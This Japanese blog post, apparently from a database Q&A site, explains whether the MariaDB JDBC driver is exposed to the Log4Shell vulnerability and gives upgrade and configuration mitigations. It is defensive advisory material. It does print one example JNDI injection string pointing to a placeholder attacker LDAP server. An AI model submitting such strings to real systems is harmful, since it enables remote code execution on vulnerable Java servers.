sql >> データベース >  >> RDS >> MariaDB

MariaDB JDBCドライバーはLog4jの脆弱性の影響を受けますか?

    MariaDB Javaコネクタは、Log4で最近発見されたセキュリティの脆弱性の影響を受けますか?デフォルトでは、JavaコネクタはLog4jを使用しません。ただし、SLF4jを使用するように構成している場合は、読み続けてください。

    MariaDB JDBCドライバーの範囲を超える情報については、Log4ShellとMariaDBをお読みください。

    :このブログは2021-12-15に更新され、CVE-2021-45046に関する詳細が含まれています。

    Log4jの脆弱性

    Apache Log4jは、Javaアプリケーション用の人気のあるオープンソースのロギングフレームワークです。クラウドベンダーやメールサービスプロバイダーなど、さまざまなオープンソースおよびエンタープライズプロジェクトで使用されています。 2021年12月9日、Log4jにゼロデイ脆弱性が発見され、リモートでコードが実行され、ハッカーがシステム内で任意のコードを実行できるようになりました。この脆弱性は「Log4Shell」と呼ばれ、CVE-2021-44228として追跡されます。

    つまり、この脆弱性により、攻撃者はJNDIルックアップ文字列を挿入して、たとえば、リモートLDAPサーバー(攻撃者によって制御される)を呼び出し、悪意のあるJavaクラスを返すことができます。

    ${jndi:ldap://[attacker_site]/[malicious_java_class]}

    このような文字列がLog4jによってログに記録されると、悪意のあるJavaクラスが任意のコードを実行する可能性があります(たとえば、静的なコードブロックを介して)。

    影響を受けるバージョン

    幸い、影響を受けるのは2.15.0より前のLog4jバージョン2.xのみです。詳細については、ApacheLog4jのセキュリティの脆弱性のページを参照してください。この脆弱性は、Log4jバージョン1.xには存在しません。

    CVE-2021-44228を軽減する方法

    脆弱性を軽減するための最善の戦略は、プロジェクトのLog4j依存関係を更新することです。メッセージルックアップを削除するバージョン2.16.0は、すでに利用可能です。これを迅速にリリースするためのチームへの小道具。

    更新 :Log4j 2.16.0は、CVE-2021-45046として追跡される2番目の脆弱性も修正します。

    MariaDB JDBCドライバーは、Log4j2.xを使用しません。ただし、SLF4Jをサポートしています。 SLF4JにLog4jバインダーを使用しているかどうかを確認し、使用している場合は、それに応じてLog4jをアップグレードするか、次の構成変数を設定します。

    -Dlog4j2.formatMsgNoLookups=true
    

    または、次の環境変数を設定します:

    LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    

    :ロギングは、logによって明示的に設定された場合にのみ有効になります パラメータ。 Log4jの他に、Jakarta Commons Logging、Logback、JavaLoggingAPIなどの他のSLF4Jバインディングを選択することもできます。

    Mavenを使用している場合は、次のコマンドを実行して、プロジェクトがLog4jに依存しているかどうかを確認できます。

    mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

    脆弱なプロジェクトで得られる出力の例を次に示します。

    何らかの理由でプロジェクトがコンパイルされない場合は、代わりに次を実行できます:

    mvn help:effective-pom

    log4j-coreを検索します 依存関係を確認し、使用されているバージョンを確認してください。

    追加情報

    ブログ内のリンクのリスト:

    • MariaDBJavaコネクタ
    • SLF4j
    • 関連ブログLog4ShellとMariaDB
    • CVE-2021-44228
    • ApacheLog4jのセキュリティの脆弱性
    • ApacheLog4jバージョン2.16.0
    • log パラメータ

    1. 例を使用したOPENJSONの概要(SQL Server)

    2. SQLiteで数値以外の値を返す2つの方法

    3. Oracleには、2つの日付の差を計算する関数がありますか?

    4. Oracleでエイリアスを定義するために「as」キーワードは必要ですか?